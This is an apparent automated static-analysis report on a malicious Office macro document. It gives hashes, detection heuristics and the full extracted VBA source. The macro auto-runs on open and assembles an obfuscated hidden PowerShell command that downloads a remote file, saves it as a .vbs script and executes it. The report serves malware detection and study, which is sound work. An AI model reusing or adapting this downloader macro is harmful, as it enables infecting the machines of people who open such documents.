Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 2898d440897d7b00…

MALICIOUS

Office (OOXML)

7.9 KB First seen: 2020-10-03
MD5: b1ddf7b93d6c537255136aa5adcddd98 SHA-1: 0d6c58444ae842f7bcc8527a0b3abbfd9d4738cd SHA-256: 2898d440897d7b00abf00a670838e4262f11e73e120b5254fe8d5a243003fc25
270 Risk Score

Heuristics 8

  • VBA project inside OOXML medium 6 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
        objqcydwyqnozj.CreateObject("WScript.Shell").Run eaoasunlkm, 0
  • Obfuscated VBA Shell command with URL critical OLE_VBA_OBFUSCATED_SHELL_URL
    VBA macro invokes Shell with command text assembled through decoder or string-manipulation functions and includes a URL. This is a high-confidence downloader/dropper pattern, stronger than Shell or URL evidence on their own.
    Matched line in script
        objqcydwyqnozj.CreateObject("WScript.Shell").Run eaoasunlkm, 0
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        objqcydwyqnozj.CreateObject("WScript.Shell").Run eaoasunlkm, 0
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
        Set objqcydwyqnozj = GetObject("new:" & OUTLOOK)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub auto_open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://raw.githubusercontent.com/farao15/jj/master/fina.jpg Referenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 801 bytes
SHA-256: 342f1f16865bc983cadd9e73f6e8d6e7decb5a468f5b64363d27a78df6d6e2ae
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Módulo1"
Sub auto_open()
gshjgjshsjhsusyuiweiwuwiuwiuiww = " -windowstyle hidden $r='KEX'.replace('K','I'); sal D $r;'(&(GCM'+' *W-O*)'+ 'Net.'+'Web'+'Cli'+'ent)'+'.Dow'+'nl'+'oad'+'Fil'+'e(''https://raw.githubusercontent.com/farao15/jj/master/fina.jpg'',$env:public+''\\''+''lindro.vbs'')'|D; start-process($env:public+'\\'+'lindro.vbs')"
    
XS = "Pow#|%er#|%sh#|%ell"
LArray = Split(XS, "#|%")
poporonga = LArray(0) + LArray(1) + LArray(2) + LArray(3) + gshjgjshsjhsusyuiweiwuwiuwiuiww
qcydwyqnozj (poporonga)
End Sub

Sub qcydwyqnozj(eaoasunlkm As String)
    Const OUTLOOK = _
    "{0006F03A-0000-0000-C000-000000000046}"
    Set objqcydwyqnozj = GetObject("new:" & OUTLOOK)
    objqcydwyqnozj.CreateObject("WScript.Shell").Run eaoasunlkm, 0
End Sub
vbaProject_00.bin vba-project OOXML VBA project: ppt/vbaProject.bin 15360 bytes
SHA-256: 99ca6d697278067a641145458864ab310ca1de589cdd9b318f1195e1b003ef87

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